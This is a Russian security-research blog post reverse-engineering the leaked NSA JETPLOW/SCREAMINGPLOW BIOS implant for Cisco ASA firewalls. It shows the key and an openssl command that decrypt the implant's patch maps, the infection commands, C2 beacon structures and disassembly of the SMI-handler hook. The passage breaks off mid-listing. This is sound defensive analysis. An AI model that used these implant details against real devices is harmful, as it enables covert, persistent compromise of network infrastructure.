Архитектура JETPLOW – NSA бэкдор в моей подставке под кофе

в 7:07, , рубрики: JETPLOW, nsa, reverse engineering, tldr, анб, Блог компании «Digital Security», имплант, информационная безопасность, реверс-инжиниринг

Картинка для привлечения внимания

"Какой изящный ход – называть стандартный буткит имплантом," — подумали мы.

Всё началось около года назад, когда в распоряжение нашего отдела исследований поступили дорогостоящие подставки под кофе, а именно несколько железок от Cisco – коммутаторы Catalyst 3850, Catalyst 6500 (о технике написания шеллкодов под этого "зверя" ранее был доклад на ZeroNights 2015) и межсетевой экран ASA 5525-X.

Найдя несколько баг в межсетевом экране, которые позволяли «провалиться» в систему, получив стандартный шелл (разработчик был своевременно проинформирован), мы задумались над импактом – что можно сделать такого страшного, чтобы нанесло бы максимальный урон. И тут… слитые в 2013-м году Сноуденом секретные документы АНБ пришлись как нельзя кстати. В них рассказывалось про имплант для PIX и ASA под названием JETPLOW, покрывающий Cisco PIX 500-й серии и Cisco ASA серии 5505, 5510, 5520, 5540, 5550. Как вы можете заметить, в каталоге АНБ из представленного большого диапазона поддерживаемых версий не было упоминания об имеющемся в нашем распоряжении ASA 5525-X, что, в свою очередь, породило спортивный интерес в части создания своего импланта под серию 5525-X в качестве PoC.

О своем видении и реализации импланта под ASA 5525-X мы будем рассказывать на конференции ZeroNights 2016 и выложим его исходные коды. Также, в качестве бонуса, мы продемонстрируем реализацию аналогичного импланта для Catalyst 3850.

Важно отметить, что разработанный имплант для целевых 5525-X немного отличается от JETPLOW ввиду того, что 5525-X построена на архитектуре Intel x86_64, и использует UEFI, а Catalyst 3850 базируется на архитектуре MIPS64.

Архив от The Shadow Brokers

С момента публикации было достаточно много статей, посвященных анализу содержимого бесплатной части архива (ссылка 1, ссылка 2). Кто-то подался в конспирологию, связывая константное значение Q32 c Equation Group, кто-то просто отмахнулся, опрометчиво заявив, что выложенные эксплойты способны поразить только старые версии ASA и никакой угрозы не представляют.

В данной работе мы предлагаем абстрагироваться от подковерных бульдожьих игр, не разбираться, кто кого взломал и кто кого в этом подозревает, а на основе имеющегося опыта reverse engineering оборудования Cisco (и других подобных железок), а также анализа вредоносного кода, провести хладнокровный технический анализ самого импланта (см. директорию BANANAGLEE/), предназначенного под оборудование данного вендора. Ведь факт остается фактом – представленные в архиве файлы действительно являются набором средств эксплуатации неопубликованных ранее уязвимостей и средств негласного съема информации, использующих буткит-технологию. Несмотря на отсутствие части файлов, находящиеся в архиве инструменты отлично работают и выполняют свою задачу. Здесь нельзя не восхититься объемом проделанной работы.

Перед тем как перейти непосредственно к анализу импланта, стоит рассмотреть целевое железо, на которое он устанавливается, а именно архитектуру межсетевых экранов от Cisco.

Что такое межсетевой экран от Cisco

ASA и PIX

Экосистема Cisco огромная, просто поражает масштабами. Только широко известных операционных систем у них с десяток:

  • IOS
  • IOS XE
  • IOS XR
  • NX-OS
  • CatOS
  • AsyncOS
  • Firepower OS
  • ОС AireOS
  • NX OS
  • ОС PIX
  • ОС ASA

Одни базируются на Linux, другие – на QNX или BSDi, также можно встретить и другие проприетарные ОС. В общем, настоящий зоопарк, и как с этим управляется (или не управляется) производитель, остается загадкой. И при этом не забывайте, что это все еще работает на различных архитектурах:

  • x86
  • x86_64
  • ARM
  • MIPS
  • PowerPC

На выходе получается очень непростая матрица видов устройств. Стоит понимать, что от архитектуры процессора зависит, какие технологии безопасности есть на уровне процессора, и можно применять при организации защиты устройства. Технологии защиты может априори не быть на устройстве из-за аппаратной начинки. Так что нужно внимательно изучать, что используется в недрах девайса.

Сегодня нами будут рассмотрены две линейки аппаратных межсетевых экранов: PIX (Private Internet Exchange) и ASA (Adaptive Security Appliance), пришедшая на замену PIX. Обе железки имеют x86 (Intel и AMD) совместимую архитектуру.

Загрузка межсетевого экрана

Как и в большинстве устройств от Cisco, в межсетевых экранах задачу загрузки выполняет некоторый bootstrap-код, называемый ROMMON (ROM Monitor). ROMMON в самом начале своей работы выполняет задачи по инициализации аппаратных компонентов, после чего считывает текущую конфигурацию из NVRAM. В случае отсутствия необходимости перехода в режим ROM Monitor mode (confreg 0x00), использует GRUB для загрузки образа (загрузочного образа с расширением .bin) операционной системы, для чего передает ему имя считанного из NVRAM файла.

Процесс загрузки ASA/PIX выглядит так:

Поток данных процесса загрузки межсетевого экрана ASA/PIX

Загрузочный образ ASA и PIX являются файлом, который хранится на флешке, более известной нам как flash:/. Структура загрузочных образов выглядит так:

Общая структура загрузочных образов ASA и PIX

Эволюция образов ASA видна в том, что, начиная с версии 8.x.x, Cisco перешла на использование ОС Linux. Далее, в качестве примера рассмотрим содержимое загрузочного asa831-k8.bin (ниже мы прокомментируем, почему был выбран данный образ):

$ binwalk -B asa831-k8.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Cisco ASA MAINLDR
512           0x200           Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000
18432         0x4800          Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000
20682         0x50CA          Unix path: /platform/asa/finesse/pci.c
73728         0x12000         Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020
79802         0x137BA         Unix path: /platform/asa/finesse/pci.c
94208         0x17000         Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000
106110        0x19E7E         gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10
1432976       0x15DD90        gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08
15454677      0xEBD1D5        Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll
15881408      0xF254C0        Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718
15887378      0xF26C12        Unix path: /platform/asa/finesse/pci.c

Распаковав rootfs, можно выделить несколько интересных особенностей:

  1. Используемое ядро: Linux version 2.6.29.6 (builders@ff-bldcheck-05) (gcc version 4.0.2) #1 PREEMPT Thu Mar 4 15:59:06 MST 2010.
  2. Директория, содержащая файлы межсетевого экрана: /tmp/asa831-k8-rootfs/asa.
  3. Основной исполняемый файл имеет путь /tmp/asa831-k8-rootfs/asa/bin/lina и исполняется с правами root.
  4. Принудительное отключение ASLR (далее в статье мы рассмотрим, как это используют разработчики импланта):

$ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common
echo 0 > /proc/sys/kernel/randomize_va_space

Компоненты загрузочного образа и последовательность их загрузки

Нет смысла рассматривать MBR и FirstLdr, поскольку они никак не участвуют в загрузке и являются рудиментами, тянущимися ещё с версий образов под PIX.

Все загрузчики, кроме MBR, имеют заголовки, описываемые следующей структурой (отличается лишь значение поля a_midmag):

struct grub_aout32_header {
      grub_uint32_t a_midmag;       /* htonl(flags<<26 | mid<<16 | magic) */
      grub_uint32_t a_text;         /* text segment size */
      grub_uint32_t a_data;         /* initialized data size */
      grub_uint32_t a_bss;          /* uninitialized data size */
      grub_uint32_t a_syms;         /* symbol table size */
      grub_uint32_t a_entry;        /* entry point */
      grub_uint32_t a_trsize;       /* text relocation size */
      grub_uint32_t a_drsize;       /* data relocation size */
};

SecondLdr

Имеет сигнатуру (значение поля a_midmag): 0x0064010B.

Если детально не вдаваться в подробности работы данного загрузчика, то можно сказать, что он используется только в случае загрузки ROMMON'ом образа по протоколу tftp. ROMMON располагает загружаемый образ в физической памяти с учетом смещения SecondLdr и его заголовка по адресу 0x13FE0, и передает на него управление (1*). Основная задача этого загрузчика – проверка целостности загружаемого образа, проверка поддержки целевой платформы, релокация остальной части образа, начиная с BootLdr по адресу 0x100000 и передача управления на его точку входа (2*).

BootLdr

Данный загрузчик имеет сигнатуру 0x107, основная задача – подготовка ядра к запуску, повторная проверка поддержки целевой платформы, генерация идентификатора данной платформы, релокация тела StubLdr по адресу 0x13FE0 (с учетом заголовка) и передача на него управления (2). В качестве аргумента передается указатель на вычисленный идентификатор платформы.

Также на данный загрузчик может передать управление GRUB (1), что, в принципе, никак не влияет на его адрес загрузки.

StubLdr

Имеет сигнатуру 0x0064010B, основной задачей данного загрузчика является распаковка и загрузка ядра (3).

Важно отметить, что в случае с образом под PIX (начиная с версии образов 6.2), ядро имеет аналогичный загрузчику BootLdr заголовок.

JETPLOW

Что касается терминологии, то при анализе архива мы заметили, что название JETPLOW используется для обозначения ранних версий импланта (в основном, для PIX), а новым версиям дано название SCREAMINGPLOW, при этом, в некоторых из управляющих компонентов последних версий присутствует частичная поддержка старых версий.

Нами был произведен анализ последней версии набора утилит BannanaDaiquiri 3.1.2 (директория BANANAGLEE/BG3121) и входящий в её состав ScreamingPlow версии 2.8 (SCP28). В качестве целевого оборудования был выбран межсетевой экран Cisco ASA 5505 с ROMMON версии 1.0(12)13 и загрузочный образ версии 8.3.1 (asa831-k8.bin). Последнюю версию импланта мы взяли потому, что в ней присутствует поддержка большего числа серий целевых межсетевых экранов, расширен набор возможностей и улучшена архитектура.

Способы заражения

Установка импланта возможна:

  • через пост-экплуатацию, к примеру, после удаленной эксплуатации уязвимости. Подобный эксплоит можно также найти в выложенном архиве (см. EXPLOITS/EXBA);
  • через использование загрузочного образа. Такое заражение может быть произведено удаленно по сети или при наличии физического доступа к устройству. Например, в офисе транспортной компании.

Часть интересной информации можно почерпнуть из документации разработчиков (к примеру, см. файл screamplow-INSTALL.txt), написанной в саркастической форме.

В ней упоминается некий, отсутствующий в архиве, ключевой (инженерный) загрузочный образ image.bin, загружаемый по сети с использованием протоколов tftp, ftp и http(s).

Пример из документации:

copy tftp://[workstation IP]/image.bin flash:/image2.bin
boot system image2.bin
rel

На случай заражения более ранних серий межсетевых экранов, а именно PIX, разработчики заботливо предоставляют оператору скрипты автоматизации развертывания веб-сервера Apache (см. файл OPS/apache_setup.sh и документацию SCRIPTS/Apache_Setup.txt) для последующей загрузки инженерных образов по протоколу http(s).

Процесс использования инженерного образа для заражения

Данный инженерный образ должен быть индивидуально сгенерирован под конкретный целевой межсетевой экран на основании некоторой базовой информации о нем (серия, версия ROMMON и т.д.). Помимо этого, при генерации образа должен быть указан идентификатор импланта, который в последующем будет использоваться для различения зараженных устройств и коммуникации с ними.

Всё взаимодействие с инженерным образом производится по сети (UDP 500). Для этого используется несколько утилит:

  • инфектор (в последних версиях имеет имя BPICKER, в более старых – writeScreamingPlow и writeJetPlow);
  • утилита LP для мониторинга и последующего управления.

Основной задачей инфектора является формирование карты образа BIOS Flash, с учетом информации, полученной о системе, и передача сформированных данных утилитам на загрузочном образе для последующего заражения.

Подготовка к заражению

Как уже говорилось ранее, в последней версии утилит BannanaDaiquiri для формирования карты образа BIOS Flash используется утилита BPICKER (см. файл BANANAGLEE/BG3121/Install/LP/BPICKER-3100). Данная утилита, после подключения к инженерному образу, получает от него информацию о целевом оборудовании. Затем на её основании в текущей директории производится поиск архива с именем <platform_name>-moduledata-<bg_version>.tgz, который содержит составные части импланта. К сожалению, в опубликованной части архива присутствует только файл asa-moduledata-3101.tgz. Произведя распаковку архива, можно наблюдать следующую структуру каталогов:

$ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101
asa-moduledata-3101
├── asa                    # Зашифрованные xml-файлы с расширением pif (persistence information file), содержащие карты образов BIOS Flash
│   └── legacy
├── bin                    # Составные части различных версий ScreamingPlow для целевых платформ ASA5505 и ASAGen
│   ├── asa5505
│   │   ├── legacy
│   │   │   ├── SCP10
│   │   │   ├── SCP20
│   │   │   ├── SCP21
│   │   │   ├── SCP23
│   │   │   ├── SCP24
│   │   │   ├── SCP25
│   │   │   ├── SCP26
│   │   │   └── SCP27
│   │   └── SCP28
│   └── asaGen
│       ├── legacy
│       │   ├── SCP10
│       │   ├── SCP20
│       │   ├── SCP21
│       │   ├── SCP23
│       │   ├── SCP24
│       │   ├── SCP25
│       │   ├── SCP26
│       │   └── SCP27
│       └── SCP28
└── lib                    # Директория библиотек, содержащих основные алгоритмы работы с составными частями импланта

Для выбранной нами версии импланта, файл, содержащий карты образа BIOS Flash, имеет имя asa/asa5505_101213_install_SCP28.pif. Ключ для расшифровки pif-файлов можно обнаружить через анализ утилиты BPICKER.

// `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080

uint8_t *key = (uint8_t *)malloc(29);
*(uint32_t *)key = 0xC28AD3C7;
*((uint32_t *)key + 1) = 0xD8CFDCC5;
*((uint32_t *)key + 2) = 0xCCCBD8C9;
*((uint32_t *)key + 3) = 0xD9C38ADE;
*((uint32_t *)key + 4) = 0xC6DFCC8A;
*((uint32_t *)key + 5) = 0xCCC58AC6;
*((uint32_t *)key + 6) = 0xC6CFCF8A;
key[28] = 0xD9;

int i = 0;
do {
      key[i] ^= 0xAA;
      ++i;
} while (i <= 28);

// key = "my hovercraft is full of eels"

Для выбранной нами версии импланта, нас интересуют pif-файлы с именами asa/asa5505_101213_install_SCP28.pif для инсталляции и asa/asa5505_101213_uninstall_SCP28.pif для деинсталляции.

Расшифровать все имеющиеся в архиве pif-файлы можно следующим образом:

find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' ;

Расшифрованный xml-файл asa5505_101213_install_SCP28.pif содержит следующее:

<?xml version="1.0" encoding="iso-8859-1"?>
<platform xsi:noNamespaceSchemaLocation="versionFile.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" lib="libasa.so">
    <name>asa5505</name>
    <version>
        <name>1.0(12)13 (no persistence detected)</name>
        <originalBios>bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin</originalBios>
        <signatureList><!-- Clean Signatures -->
            <signature> <!-- Sectors 6-7  -->
                <hash>67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19</hash>
                <address>fff60000</address>
                <length>0x20000</length>
            </signature>
            <signature> <!-- Sectors 4-5  -->
                <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash>
                <address>fff40000</address>
                <length>0x20000</length>
            </signature>
            <signature> <!-- Sectors 8-F  -->
                <hash>579d3ffa2fcb4d55a51b45747184a41656b88df2</hash>
                <address>fff80000</address>
                <length>0x80000</length>
            </signature>
        </signatureList>
        <validationList><!-- SCP Signatures -->
            <signature> <!-- CODE_AREA (a.k.a. SP Main) -->
                <hash>bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b</hash>
                <address>fff60000</address>
                <length>0xdf00</length>
            </signature>
            <signature> <!-- Sectors 4-5 -->
                <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash>
                <address>fff40000</address>
                <length>0x20000</length>
            </signature>
            <signature><!-- Sectors 8-F -->
                <hash>c4e5a42ddca3a977e6ba64075914d94a87ba1dfb</hash> 
                <address>fff80000</address>
                <length>0x80000</length>
            </signature>
        </validationList>
        <patchList><!-- Install SCP -->
            <patch>
                <data src="inline" type="userarea">0</data> <!-- Assigned later  -->
                <address>fff70000</address> <!-- SECOND_USER_AREA_ADDRESS -->
            </patch>
            <patch>
                <data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data>
                <address>fff60000</address> <!-- FIRST_CODE_AREA_ADDRESS -->
            </patch>
            <patch>
                <data src="inline" type="pbd">0</data> <!-- Assigned later  -->
                <address>fff6df00</address> <!-- FIRST_USER_AREA_ADDRESS -->
            </patch>
            <patch>
                <data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data>
                <address>fffec480</address> <!-- SECOND_CODE_AREA_ADDRESS -->
            </patch>
            <patch>
                <data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data>
                <address>fffe18bf</address> <!-- HOOK_ADDRESS -->
            </patch>
        </patchList>
    </version>
</platform>

Как видно по коду, в данном xml-файле находится корневой элемент platform, описывающий целевую платформу ASA 5505 с ROMMON версии 1.0(12)13 "на борту", оригинальный образ которого находится в файле bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin. Для BIOS данной платформы существуют патчи, описываемые в элементе patchList. Каждый из них имеет адрес назначения, и делится на два типа: файл на диске и код (inline).

Код патчей, имеющих тип inline, на основании пользовательских данных, формируется с помощью библиотеки для платформы libasa.so (см. атрибут lib корневого элемента platform), которая подгружается утилитой BPICKER.

На этом этапе стоит отметить, что в более ранних версиях утилит в составе BannanaDaiquiri формирование карты BIOS Flash происходило непосредственно в самом инфекторе, где пути до составных частей типа file были строго прописаны.

Заражение и последующая верификация

Весь процесс заражения, выполняемый инфектором, заключается в последовательной отправке сконфигурированных патчей инженерному образу. Для проверки корректности произведенного эффекта, на основании содержимого элемента validationList, выполняется повторное чтение участков памяти с последующим подсчетом хэш-суммы считанных данных. В то время как элементы в signatureList используются для того, чтобы убедиться, что целевая система не заражена или удаление импланта было успешно выполнено.

На картинке ниже показано, как выглядит BIOS Flash до и после заражения.

BIOS Flash ASA 5505 до и после заражения

Анализ составных частей импланта

Из приведенного выше содержимого xml-файла asa5505_101213_install_SCP28.pif видно, что сам имплант состоит из четырех основных частей: First Code Area, Second Code Area, First User Area, Second User Area и некоторого Hook'а:

Составные части импланта

Далее, для краткости изложения, мы будем оперировать аббревиатурами FCA, SCA, FUA и SUA, для обозначения соответствующих частей импланта, а Hook, пожалуй, останется Hook'ом.

Теперь рассмотрим каждую из составных частей. Произведем мы это в порядке, обратном тому, в котором их задействует имплант, что позволит упростить, а главное – не оборвать цепочку происходящих событий.

Second User Area (SUA @ 0xFFF70000)

Данная часть является основной и единственной полезной нагрузкой импланта, в то время как все остальные, по сути, являются её загрузчиком. SUA содержит в себе код полезной нагрузки импланта (A), а также некоторую вспомогательную информацию (B), описывающую окружение, в котором коду полезной нагрузки предстоит работать.

Код полезной нагрузки предназначен для установки связи с командным сервером (C&C Server).

Вспомогательная информация включает в себя, к примеру:

  • инструкции по определению версии основного процесса;
  • адреса различных функций в адресном пространстве основного процесса, которые код полезной нагрузки использует в своей работе (например, функции для работы с сетью);
  • смещения внутри ключевых структур основного процесса, с которыми коду полезной нагрузки предстоит работать, и др.

Вспомогательная информация хранится в SUA в виде комплекса структур, определение которых было получено вследствие анализа библиотеки libasa.so, и выглядит следующим образом:

/* User Area Directory */
struct {
    uint32_t magic;             /* UA_DIR signature is 0xD13EC703 */
    uint32_t os8_off;           /* OS8_INFO offset relative to UA_DIR start address */
    uint32_t bg_gen_off;        /* BG_GEN_INFO offset relative to UA_DIR start address */
    uint32_t bg_os_off;         /* BG_OS_INFO offset relative to UA_DIR start address */
} UA_DIR;

/* ASA OS x.x.x Info */
struct {
    uint32_t magic;             /* OS8_INFO signature is 0xDECAFBAD */
    struct {
        uint32_t version;
        uint32_t address;
    } records[0];
} OS8_INFO;

/* BANANAGLEE Gen? Info */
struct {
    struct {
        uint32_t magic;         /* BG_GEN_INFO signature is 0xBA9A61EE*/
        uint32_t data_size;
    } header;
    uint32_t unknown;           /* observed to be zero */
    uint32_t imp_version;       /* implant version */
} BG_GEN_INFO;

/* BANANAGLEE OS Info */
struct {
    uint32_t magic;             /* BG_OS_INFO signature is 0xBA9A61EE*/
    uint32_t size;              /* BG_OS_INFO data size */
    uint32_t page_size;
    uint32_t version;           /* lina/malina version this info is about */
    uint32_t bg_glob_addr;      
    uint32_t malloc_addr;       /* allocation routine address */
    uint32_t sync_addr;
    uint32_t checkheap_addr;   
    uint32_t imp_version;       /* implant version major */
    uint32_t unknown;           /* maybe checksum */ 
    void* addr_ptr_list[0];     /* various information regarding the given version of the main process */
} BG_OS_INFO;                   /* will be stored as an array where each element describes one particular version */

Рассмотрим назначение отдельных структур:

  1. UA_DIR – корневая структура, содержащая смещения остальных структур относительно начала SUA.
  2. OS8_INFO – структура, содержащая адреса, по которым в основном процессе располагаются константы со значением версии. Следует отметить, что в указанной структуре расположены адреса только для основного процесса lina (8.x.x и выше), поскольку различаются от версии к версии (отсюда название – OS8). Константа с версией основного процесса malina (7.x.x) всегда располагается по адресу 0x100040.
  3. BG_GEN_INFO – структура, содержащая размер и версию кода полезной нагрузки импланта.
  4. BG_OS_INFO – структура, содержащая информацию, описывающую конкретную версию основного процесса.

Структуры UA_DIR, OS8_INFO, BG_GEN_INFO присутствуют в SUA единственном экземпляре, и располагаются до кода полезной нагрузки. Структура BG_OS_INFO, в свою очередь, присутствует в SUA во множестве экземпляров, по одному на каждую версию основного процесса. Множество экземпляров хранится в виде массива, расположенного после кода полезной нагрузки.

Формирование комплекса структур осуществляется с использованием набора .dat файлов, каждый из которых описывает окружения для какой-либо конкретной версии основного процесса (см. файлы BANANAGLEE/BG3121/Dats/*.dat).

В качестве чистого образа SUA и дальнейшего формирования для него заголовка используется файл bin/BG_312_SCREAM_UA_full_support.bin.

First User Area (FUA @ 0xFFF6DF00)

Представленный фрагмент, именуемый авторами как PBD, состоит из заголовка PBD Header (A), и кода загрузчика userarea (B).

Код загрузчика формирует конечный образ userarea, в состав которого входит код полезной нагрузки из SUA и одна из структур BG_OS_INFO, выбор которой зависит от текущей версии основного процесса. Если в составе SUA нет структуры BG_OS_INFO для текущей версии основного процесса, загрузчик не сможет приступить к формированию userarea. В этом случае, загрузчик просто завершит свою работу и сообщит SP Main об ошибке.

Схематично это можно представить следующим образом:

Механизм работы загрузчика userarea

Заметим, что SUA – это код полезной нагрузки и информация об окружении, из которых в следствии работы загрузчика из FUA будет собрана сама полезная нагрузка, именуемая просто userarea.

Для хранения PBD Header в теле FUA отводятся первые 256 байт. Восстановленная структура PBD Header представлена ниже:

struct PBD_Header {
    struct KEY {
        uint16_t CHECKS_CONSTANTS[10];      // Constants for quick selection Beacon-packets
        uint8_t key1[8];                    // First part of RC6-key for ecrypt Benign-packets in session
        uint8_t key2[8];                    // Second part of RC6-key
        uint8_t challenge[16];
        uint8_t default_key1[8];            // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets
        uint8_t default_key2[8];            // Second part of RC6-key
        uint8_t CV[8];
    } key;

    uint32_t implantID;

    struct BEACON {
        uint32_t beacon_count;              // Total number of beacons to send
        uint32_t primary_delay;             // Seconds to delay first beacon
        uint32_t secondary_delay;           // Seconds to delay subsequent beacons
        uint32_t min_delay;
        uint32_t max_delay;
        uint16_t min_src_port;              // 0x00 by default
        uint16_t max_src_port;              // 0xFFFF by default
        uint32_t beacon_primary_IP;         // First IP address for beacon destination
        uint32_t beacon_secondary_IP;       // Second IP address for beacon destination
        char domain_name[8];                // DNS beacon domain name ("yahoo" by default)
    } beacon;
};

Заголовок PBD Header заполняется на основании пользовательских данных и содержит информацию, необходимую импланту для связи с C&C (IP-адреса, ключи шифрования, периоды "отстука" и т.д.). В качестве чистого образа FUA, и дальнейшего формирования для него заголовка, используется файл bin/BG_312_PBD_config_CLEAN.bin.

First Code Area (FCA @ 0xFFF60000)

Содержимое этой части можно разделить на 3 элемента:

  • A) Поддельный обработчик системного вызова mmap2, задачей которого является перехват управления основного процесса.
  • B) Код SP Main, который в результате своей работы должен обеспечить передачу управления на код полезной нагрузки userarea. Его работу можно разделить на две части: вызов загрузчика userarea из FUA, а, в случае неудачи, передача управления на код аварийной связи с C&C.
  • C) Код для аварийной связи с C&C это, на наш взгляд, одна из самых интересных частей импланта. О нем мы расскажем в одном из следующих разделов.

Код FCA находится в файле bin/asa5505/SCP28/asa5505_patch60000.bin.

Second Code Area (SCA @ 0xFFFEC480)

SCA содержит в себе код поддельного SMI-обработчика, на который будет передано управление в один из моментов загрузки системы. Задача этого обработчика – внедрение FCA, FUA и часть SUA в адресное пространство основного процесса и дальнейшее обеспечение передачи управления на SP Main из FCA.

Код SCA находится в файле bin/asa5505/SCP28/asa5505_patchEC480.bin.

Hook (@ 0xFFFE18BF)

Данный патч накладывается на код BIOS, ответственный за копирование оригинального SMI-обработчика в пространство SMRAM:

Код BIOS до и после заражения

Задача Hook'а – копирование в SMRAM поддельного SMI-обработчика из SCA и сохранение перед этим адреса оригинального обработчика. Последнее действие необходимо для того, чтобы система продолжала функционировать в штатном режиме, в случае, если источник SMI не относится к работе импланта.

Код Hook'a находится в файле bin/asa5505/SCP28/asa5505_patchE18BF.bin.

Загрузка импланта

Первоначальная загрузка

Первый этап загрузки импланта начинается в момент выполнения BIOS’ом копирования кода обработчика SMI в область SMRAM. При установке импланта на устройство, этот код изменяется таким образом, чтобы вместо оригинального обработчика там оказался поддельный обработчик из SCA. После чего, выполнение кода SCA будет происходить при обработке процессором любого #SMI прерывания. Поскольку существует множество причин, по которым ICH/PCH инициирует #SMI, SCA заранее не знает, в какой момент времени начнется выполнение его кода. Для этого в коде SCA присутствует множество проверок на выполнение тех или иных условий, необходимых ему для своей работы. В случае, если какое-либо условие не выполняется, SCA передает управление дальше по цепочке обработке #SMI, в ожидании подходящего момента для продолжения работы:

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4

_exit:
      jmp         far ptr 0:0       ; jmp address @ SMBASE + 0x80A5
                                    ; Has been replaced by `mov word [0xc527], cx`
                                    ; where CX contains the original SMI handler EP and
                                    ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1

В результате анализа имеющихся в публичной части архива компонентов импланта, нам не удалось установить, какое именно #SMI прерывание используется для инициации работы SCA. Однако с уверенностью можно сказать, что это прерывание должно быть периодическим и иметь достаточно малый интервал между срабатываниями, поскольку некоторые части кода SCA должны быть выполнены в строго определенный момент загрузки ОС/основного процесса.

Первоначально, SCA находится в ожидании следующих условий:

  • защищенный режим (CR0.PM == 1);
  • страничная организации памяти (CR0.PG == 1, CR3 != NULL);
  • готовность IDT/GDT.

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D

; ...
      mov         eax, fs:_ss_cr0
      and         eax, 1
      cmp         eax, 0
      jz          wait                          ; exit if PM is not enabled
      mov         eax, fs:_ss_cr0
      mov         ebx, cr3
      and         eax, 80000000h
      cmp         eax, 0
      jz          wait                          ; exit if PG is not enabled
      cmp         ebx, 0
      jz          wait                          ; exit if cr3 is zero
      sidt  fword ptr ds:0DC5F7h    ; _idt @ 0xC5F7
      mov         eax, ds:0DC5F9h               ; eax <- IDT.Base
      cmp         eax, 0
      jz          wait                          ; exit if IDT is not initialized yet
      cmp         byte ptr ds:0DC5EFh, 0  ; _setup_alarm @ 0xC5EF
      jz          short stage_00
      mov         byte ptr ds:0DC5EFh, 0  ; _setup_alarm @ 0xC5EF
      push  large 0                             ; a0
      call  large _setup_alarm_interrupt  
      add         esp, 4
      cmp         eax, 0
      jnz         short stage_00
      jmp         restore_exit
; ...

Выполнение этих условий означает, что ядро/загрузчик закончили подготовку окружения и готовы к запуску пользовательских процессов, а значит, можно начинать проникновение.

Знакомство с жертвой

На данном этапе импланту необходимо сделать следующее: обеспечить передачу управления на код SP Main из основного процесса межсетевого экрана и предоставить доступ SP Main к остальным частям импланта, расположенным на BIOS Flash.

Для этого SCA необходимо определить, с каким загрузочным образом имплант имеет дело – для ASA или для PIX. Именно от этого будет зависеть выбор того или иного механизма проникновения в основной процесс.

Определение версии осуществляется через анализ заголовка загрузчика BootLdr, расположенного по виртуальному адресу 0x100000 (который обязательно должен быть мапингом на физический адрес 0x100000).

Если размер кодового раздела больше 8 MiB – мы имеем дело с PIX, в противном случае жертвой оказалась ASA.

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E

; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero)
; ...
    mov     dword ptr [esp], 100000h                  ; malina bootloader real time va
    call    large va2pa
    test    eax, eax
    jz      short guess_lina
    cmp     eax, 100000h                              ; malina bootloader is located @ VA 0x100000 PA 0x100000
    jnz     short guess_lina
    mov     [ebp+var_C], 100000h     
    mov     eax, [ebp+var_C]        
    cmp     [eax+grub_aout32_header.a_midmag], 107h   ; bootloader magic 
    jnz     short guess_lina
    mov     eax, [ebp+var_C]
    cmp     [eax+grub_aout32_header.a_text], 7FFFFFh  ; bootloader + malina size
    jbe     short guess_lina                          ; can't be lass than 8 MiB
; ...
    jmp  guess_malina
; ...

Проникновение в основной процесс malina (PIX)

Несмотря на то, что в настоящей статье в качестве цели для импланта рассматривается, в основном, ASA и её основной процесс lina, в первую очередь мы рассмотрим механизм проникновения в процесс malina. Как будет видно далее, часть кода в SP Main, связанная с аварийным режимом работы импланта (о котором мы так же расскажем далее), аналогична в своей механике с кодом, который используется для проникновения в основной процесс malina.

В первую очередь, SCA необходимо создать мапинг BIOS Flash в адресное пространство основного процесса. Для этого SCA напрямую работает с последней записью Page Directory, которая содержит адрес Page Table для последних 4-х MiB 32-битного адресного пространства (BIOS Flash Map).

Каждый Page Table Entry модифицируется таким образом, чтобы обеспечить доступ на чтение и запись из user space к каждой странице BIOS Flash Map.

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B

; int __cdecl map_bios_flash_manually(int cr3, int cr4)
; ...
    mov     eax, [ebp+cr3]  
; ...
    and     eax, 0FFFFF000h   ; eax <- paging directory
    lea     ebx, [eax+0FFCh]  ; last pd entry addr
    mov     edx, [eax+0FFCh]  ; last pd entry value
; ...
    mov     eax, edx
    or      eax, 2            ; set pde permissions to RW
    mov     [ebx], eax        ; write PDE back
    mov     esi, 1
    mov     edi, 0
    mov     ebx, edx
    and     ebx, 0FFFFF000h   ; ebx <- PT pa

loc_DD2B5:
    mov     edx, 0FFF00000h

loc_DD2BB:
    lea     ecx, [edx+7]      ; ecx <- 0xFFF00007
    mov     eax, edx
    and     eax, 3FF000h      ; eax <- 0x300000
    shr     eax, 0Ah          ; eax <- 0xC00
    lea     eax, [ebx+eax]    ; eax <- PTE pa which is PT pa + 0xC00
    test    esi, esi
